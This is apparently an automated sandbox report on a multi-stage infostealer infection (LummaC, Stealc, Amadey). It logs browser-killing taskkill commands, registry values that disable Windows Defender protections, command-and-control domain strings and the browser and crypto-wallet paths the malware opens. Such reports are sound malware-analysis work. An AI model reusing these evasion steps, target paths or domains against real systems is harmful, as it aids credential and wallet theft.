Source: C:\Users\user\AppData\Local\Temp\1001139001\36c3130eac.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1001139001\36c3130eac.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\ZR7XTEYLCJ0IZBOL3C6E.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\ZR7XTEYLCJ0IZBOL3C6E.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\ZR7XTEYLCJ0IZBOL3C6E.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\Z72A5QS1XOE2OWTBBJM669OT.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\Z72A5QS1XOE2OWTBBJM669OT.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\Z72A5QS1XOE2OWTBBJM669OT.exe	Process queried: DebugPort

Source: C:\Users\user\AppData\Local\Temp\A94C1J5VAPFWM1J1FS.exe

Code function: 3_2_05670CB4 rdtsc

3_2_05670CB4

Source: C:\Users\user\AppData\Local\Temp\6BWDEAM9H4119O8P9KYSM4M710Q.exe

Code function: 7_2_0093B7A6 LdrInitializeThunk,

7_2_0093B7A6

Source: C:\Users\user\AppData\Local\Temp\6BWDEAM9H4119O8P9KYSM4M710Q.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\taskkill.exe	Process token adjusted: Debug
Source: C:\Users\user\AppData\Local\Temp\Z72A5QS1XOE2OWTBBJM669OT.exe	Process token adjusted: Debug

Source: C:\Users\user\AppData\Local\Temp\PJGT15Z82T6C2GQS.exe

Memory protected: page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match	File source: Process Memory Space: PJGT15Z82T6C2GQS.exe PID: 2988, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 36c3130eac.exe PID: 8068, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\1001141001\num.exe, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\num[1].exe, type: DROPPED

LummaC encrypted strings found

Source: file.exe, 00000000.00000003.2179806804.0000000004750000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: clearancek.site
Source: file.exe, 00000000.00000003.2179806804.0000000004750000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: licendfilteo.site
Source: file.exe, 00000000.00000003.2179806804.0000000004750000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: spirittunek.store
Source: file.exe, 00000000.00000003.2179806804.0000000004750000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: bathdoomgaz.store
Source: file.exe, 00000000.00000003.2179806804.0000000004750000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: studennotediw.store
Source: file.exe, 00000000.00000003.2179806804.0000000004750000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: dissapoiznw.store
Source: file.exe, 00000000.00000003.2179806804.0000000004750000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: eaglepawnoy.store
Source: file.exe, 00000000.00000003.2179806804.0000000004750000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: mobbipenju.store

Source: C:\Users\user\AppData\Local\Temp\A94C1J5VAPFWM1J1FS.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1001138001\ee8d47a049.exe "C:\Users\user\AppData\Local\Temp\1001138001\ee8d47a049.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1001139001\36c3130eac.exe "C:\Users\user\AppData\Local\Temp\1001139001\36c3130eac.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1001140001\55662d7496.exe "C:\Users\user\AppData\Local\Temp\1001140001\55662d7496.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1001141001\num.exe "C:\Users\user\AppData\Local\Temp\1001141001\num.exe"	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\1001140001\55662d7496.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Users\user\AppData\Local\Temp\1001140001\55662d7496.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Users\user\AppData\Local\Temp\1001140001\55662d7496.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Users\user\AppData\Local\Temp\1001140001\55662d7496.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T
Source: C:\Users\user\AppData\Local\Temp\1001140001\55662d7496.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM brave.exe /T
Source: C:\Users\user\AppData\Local\Temp\1001140001\55662d7496.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Users\user\AppData\Local\Temp\1001140001\55662d7496.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Users\user\AppData\Local\Temp\1001140001\55662d7496.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Users\user\AppData\Local\Temp\1001140001\55662d7496.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T
Source: C:\Users\user\AppData\Local\Temp\1001140001\55662d7496.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM brave.exe /T

Source: 55662d7496.exe, 0000000F.00000000.3022048372.0000000000C82000.00000002.00000001.01000000.00000011.sdmp	Binary or memory string: Run Script:AutoIt script files (.au3, .a3x).au3;.a3xAll files (.).au3#include depth exceeded. Make sure there are no recursive includesError opening the file>>>AUTOIT SCRIPT<<<Bad directive syntax errorUnterminated stringCannot parse #includeUnterminated group of commentsONOFF0%d%dShell_TrayWndREMOVEKEYSEXISTSAPPENDblankinfoquestionstopwarning
Source: 6BWDEAM9H4119O8P9KYSM4M710Q.exe, 6BWDEAM9H4119O8P9KYSM4M710Q.exe, 00000007.00000002.2594272468.0000000000B0C000.00000040.00000001.01000000.0000000B.sdmp	Binary or memory string: Program Manager
Source: PJGT15Z82T6C2GQS.exe, PJGT15Z82T6C2GQS.exe, 00000004.00000002.2517010047.000000000088E000.00000040.00000001.01000000.00000007.sdmp, 36c3130eac.exe, 0000000D.00000002.2998474440.00000000012FE000.00000040.00000001.01000000.00000010.sdmp	Binary or memory string: E1Program Manager
Source: skotes.exe	Binary or memory string: zProgram Manager
Source: A94C1J5VAPFWM1J1FS.exe, 00000003.00000002.2439557696.0000000000EBA000.00000040.00000001.01000000.00000006.sdmp, skotes.exe, 00000005.00000002.2498618197.00000000005FA000.00000040.00000001.01000000.0000000A.sdmp, skotes.exe, 00000006.00000002.2499298173.00000000005FA000.00000040.00000001.01000000.0000000A.sdmp	Binary or memory string: zProgram Manager
Source: firefox.exe, 0000001C.00000002.3184441481.000000FA031FB000.00000004.00000010.00020000.00000000.sdmp	Binary or memory string: ?Progman
Source: ee8d47a049.exe, 0000000E.00000002.3049691118.000000000093D000.00000040.00000001.01000000.0000000F.sdmp	Binary or memory string: >Program Manager

Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\PJGT15Z82T6C2GQS.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1001138001\ee8d47a049.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1001138001\ee8d47a049.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1001139001\36c3130eac.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1001139001\36c3130eac.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1001140001\55662d7496.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1001140001\55662d7496.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1001141001\num.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1001141001\num.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001138001\ee8d47a049.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1001139001\36c3130eac.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1001141001\num.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1001139001\36c3130eac.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\ZR7XTEYLCJ0IZBOL3C6E.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1001141001\num.exe	Queries volume information: C:\ VolumeInformation

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Lowering of HIPS / PFW / Operating System Security Settings

Disable Windows Defender notifications (registry)

Source: C:\Users\user\AppData\Local\Temp\6BWDEAM9H4119O8P9KYSM4M710Q.exe

Registry key value created / modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\Notifications DisableNotifications 1

Jump to behavior

Disable Windows Defender real time protection (registry)

Source: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	Registry value created: DisableIOAVProtection 1	Jump to behavior
Source: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	Registry value created: DisableRealtimeMonitoring 1	Jump to behavior
Source: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\Notifications	Registry value created: DisableNotifications 1	Jump to behavior

Disables Windows Defender Tamper protection

Source: C:\Users\user\AppData\Local\Temp\6BWDEAM9H4119O8P9KYSM4M710Q.exe

Registry value created: TamperProtection 0

Jump to behavior

Modifies windows update settings

Source: C:\Users\user\AppData\Local\Temp\6BWDEAM9H4119O8P9KYSM4M710Q.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU AUOptions	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6BWDEAM9H4119O8P9KYSM4M710Q.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU AutoInstallMinorUpdates	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6BWDEAM9H4119O8P9KYSM4M710Q.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate DoNotConnectToWindowsUpdateInternetLocations	Jump to behavior

Source: file.exe, 00000000.00000003.2284921931.00000000006A0000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2285534089.00000000006A8000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2284961748.00000000006A5000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000C.00000003.2967817966.00000000057F1000.00000004.00000800.00020000.00000000.sdmp, ee8d47a049.exe, 0000000C.00000003.2967613756.00000000010B9000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe

Source: C:\Users\user\Desktop\file.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct
Source: C:\Users\user\AppData\Local\Temp\1001138001\ee8d47a049.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct

Stealing of Sensitive Information

Yara detected Amadeys stealer DLL

Source: Yara match	File source: 6.2.skotes.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.skotes.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.skotes.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.A94C1J5VAPFWM1J1FS.exe.cc0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 31.2.LIZ1X768O6R3WBN7EPZHLFTDS.exe.8e0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000005.00000002.2498410813.0000000000401000.00000040.00000001.01000000.0000000A.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.2389693706.0000000005460000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.2498848977.0000000000401000.00000040.00000001.01000000.0000000A.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000003.2716071552.0000000004DD0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001F.00000003.3109974281.0000000004AD0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001F.00000002.3156645657.00000000008E1000.00000040.00000001.01000000.00000018.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000003.2458104071.0000000004BE0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000003.2456798547.0000000004BF0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.3438111509.0000000000401000.00000040.00000001.01000000.0000000A.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.2436072466.0000000000CC1000.00000040.00000001.01000000.00000006.sdmp, type: MEMORY

Yara detected Credential Flusher

Source: Yara match	File source: 0000000F.00000003.3090032690.00000000017EF000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000025.00000003.3341116550.000000000126F000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 55662d7496.exe PID: 6856, type: MEMORYSTR

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: file.exe PID: 2532, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: ee8d47a049.exe PID: 7836, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP

Yara detected Stealc

Source: Yara match	File source: 32.2.num.exe.dd0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 40.0.num.exe.dd0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 40.2.num.exe.dd0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 13.2.36c3130eac.exe.f10000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 32.0.num.exe.dd0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 33.2.36c3130eac.exe.f10000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.PJGT15Z82T6C2GQS.exe.4a0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 34.2.ZR7XTEYLCJ0IZBOL3C6E.exe.1d0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000020.00000002.3104993509.0000000000DD1000.00000080.00000001.01000000.00000019.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.2518168701.000000000109E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000003.2956398464.0000000004A10000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000020.00000000.3076762189.0000000000DD1000.00000080.00000001.01000000.00000019.sdmp, type: MEMORY
Source: Yara match	File source: 00000021.00000003.3105966323.0000000004F50000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000028.00000002.3280676908.0000000000DD1000.00000080.00000001.01000000.00000019.sdmp, type: MEMORY
Source: Yara match	File source: 00000021.00000002.3241643306.00000000009BB000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000002.2998225047.0000000000F11000.00000040.00000001.01000000.00000010.sdmp, type: MEMORY
Source: Yara match	File source: 00000028.00000000.3250481515.0000000000DD1000.00000080.00000001.01000000.00000019.sdmp, type: MEMORY
Source: Yara match	File source: 00000021.00000002.3242620243.0000000000F11000.00000040.00000001.01000000.00000010.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.2516681456.00000000004A1000.00000040.00000001.01000000.00000007.sdmp, type: MEMORY
Source: Yara match	File source: 00000022.00000002.3303275085.00000000001D1000.00000040.00000001.01000000.0000001A.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.2428440432.0000000004E50000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000020.00000002.3109724508.00000000010BE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000022.00000003.3148683009.0000000004C80000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000002.2997022588.000000000074C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000028.00000002.3284197061.0000000001107000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000022.00000002.3305271933.0000000000F0E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: PJGT15Z82T6C2GQS.exe PID: 2988, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 36c3130eac.exe PID: 8068, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\1001141001\num.exe, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\num[1].exe, type: DROPPED
Source: Yara match	File source: dump.pcap, type: PCAP

Found many strings related to Crypto-Wallets (likely being stolen)

Source: ee8d47a049.exe, 0000000C.00000003.2945838714.00000000010C1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Wallets/Electrum-LTC
Source: ee8d47a049.exe, 0000000C.00000003.2945838714.00000000010C1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Wallets/ElectronCash
Source: file.exe	String found in binary or memory: Jaxx Liberty
Source: ee8d47a049.exe, 0000000C.00000003.2945838714.00000000010C1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: window-state.json
Source: ee8d47a049.exe, 0000000C.00000003.2945838714.00000000010C1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %appdata%\Exodus\exodus.wallet
Source: file.exe	String found in binary or memory: ExodusWeb3
Source: ee8d47a049.exe, 0000000C.00000003.2945838714.00000000010C1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %appdata%\Ethereum
Source: file.exe	String found in binary or memory: %localappdata%\Coinomi\Coinomi\wallets
Source: file.exe	String found in binary or memory: keystore

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\AppData\Local\Temp\1001138001\ee8d47a049.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\logins.json	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001138001\ee8d47a049.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\flpiciilemghbmfalicajoolhkkenfe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001138001\ee8d47a049.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001138001\ee8d47a049.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kppfdiipphfccemcignhifpjkapfbihd	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001138001\ee8d47a049.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dlcobpjiigpikoobohmabehhmhfoodbb	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001138001\ee8d47a049.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nngceckbapebfimnlniiiahkandclblb	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001138001\ee8d47a049.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cert9.db	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001138001\ee8d47a049.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001138001\ee8d47a049.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ocjdpmoallmgmjbbogfiiaofphbjgchh	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001138001\ee8d47a049.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kkpllkodjeloidieedojogacfhpaihoh	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001138001\ee8d47a049.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhhhlbepdkbapadjdnnojkbgioiodbic	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001138001\ee8d47a049.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\pioclpoplcdbaefihamjohnefbikjilc	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001138001\ee8d47a049.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001138001\ee8d47a049.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ppbibelpcjmhbdihakflkdcoccbgbkpo	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001138001\ee8d47a049.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001138001\ee8d47a049.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001138001\ee8d47a049.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001138001\ee8d47a049.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aiifbnbfobpmeekipheeijimdpnlpgpp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001138001\ee8d47a049.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001138001\ee8d47a049.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ojggmchlghnjlapmfbnjholfjkiidbch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001138001\ee8d47a049.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001138001\ee8d47a049.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001138001\ee8d47a049.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001138001\ee8d47a049.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001138001\ee8d47a049.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlgbhdfgdhgbiamfdfmbikcdghidoadd	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001138001\ee8d47a049.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001138001\ee8d47a049.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mkpegjkblkkefacfnmkajcjmabijhclg	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001138001\ee8d47a049.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dkdedlpgdmmkkfjabffeganieamfklkm	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001138001\ee8d47a049.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\infeboajgfhgbjpjbeppbkgnabfdkdaf	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001138001\ee8d47a049.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001138001\ee8d47a049.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jiidiaalihmmhddjgbnbgdfflelocpak	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001138001\ee8d47a049.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001138001\ee8d47a049.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\acmacodkjbdgmoleebolmdjonilkdbch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001138001\ee8d47a049.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mmmjbcfofconkannjonfmjjajpllddbg	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001138001\ee8d47a049.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001138001\ee8d47a049.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\anokgmphncpekkhclmingpimjmcooifb	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001138001\ee8d47a049.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\efbglgofoippbgcjepnhiblaibcnclgk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001138001\ee8d47a049.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hcflpincpppdclinealmandijcmnkbgn	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001138001\ee8d47a049.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001138001\ee8d47a049.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cpojfbodiccabbabgimdeohkkpjfpbnf	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001138001\ee8d47a049.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hdokiejnpimakedhajhdlcegeplioahd	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001138001\ee8d47a049.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kjmoohlgokccodicjjfebfomlbljgfhk	Jump to behavior
